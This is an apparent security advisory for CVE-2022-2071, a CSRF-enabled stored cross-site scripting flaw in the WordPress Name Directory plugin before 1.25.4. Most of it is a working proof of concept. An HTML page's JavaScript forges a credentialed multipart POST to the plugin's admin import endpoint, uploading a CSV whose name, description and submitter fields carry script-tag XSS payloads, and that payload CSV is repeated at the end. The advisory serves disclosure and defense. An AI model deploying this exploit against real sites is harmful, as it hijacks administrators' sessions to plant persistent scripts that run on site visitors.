Name Directory < 1.25.4 – Stored Cross-Site Scripting via CSRF | CVE 2022-2071

Description

The plugin does not have CSRF check when importing names, and is also lacking sanitisation as well as escaping in some of the imported data, which could allow attackers to make a logged in admin import arbitrary names with XSS payloads in them.

Proof of Concept

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/example.com\/wp-admin\/admin.php?page=name-directory&sub=import&dir=11", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------10045333971882101442027278436");
        xhr.withCredentials = true;
        var body = "-----------------------------10045333971882101442027278436\r\n" + 
          "Content-Disposition: form-data; name=\"import\"; filename=\"name-directory-import-example.csv\"\r\n" + 
          "Content-Type: text/csv\r\n" + 
          "\r\n" + 
          "\"name\",\"description\",\"submitter\"\n" + 
          "\'\"\x3e\x3cscript\x3ealert(/XSS-name/)\x3c/script\x3e\',\'\"\x3e\x3cscript\x3ealert(/XSS-desc/)\x3c/script\x3e\',\'\"\x3e\x3cscript\x3ealert(/XSS-sub/)\x3c/script\x3e\'\n" + 
          "\r\n" + 
          "-----------------------------10045333971882101442027278436\r\n" + 
          "Content-Disposition: form-data; name=\"action\"\r\n" + 
          "\r\n" + 
          "save\r\n" + 
          "-----------------------------10045333971882101442027278436\r\n" + 
          "Content-Disposition: form-data; name=\"max_file_size\"\r\n" + 
          "\r\n" + 
          "16777216\r\n" + 
          "-----------------------------10045333971882101442027278436\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Upload file and import\r\n" + 
          "-----------------------------10045333971882101442027278436--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


As admin, Import the following CSV

"name","description","submitter"
'"><script>alert(/XSS-name/)</script>','"><script>alert(/XSS-desc/)</script>','"><script>alert(/XSS-sub/)</script>'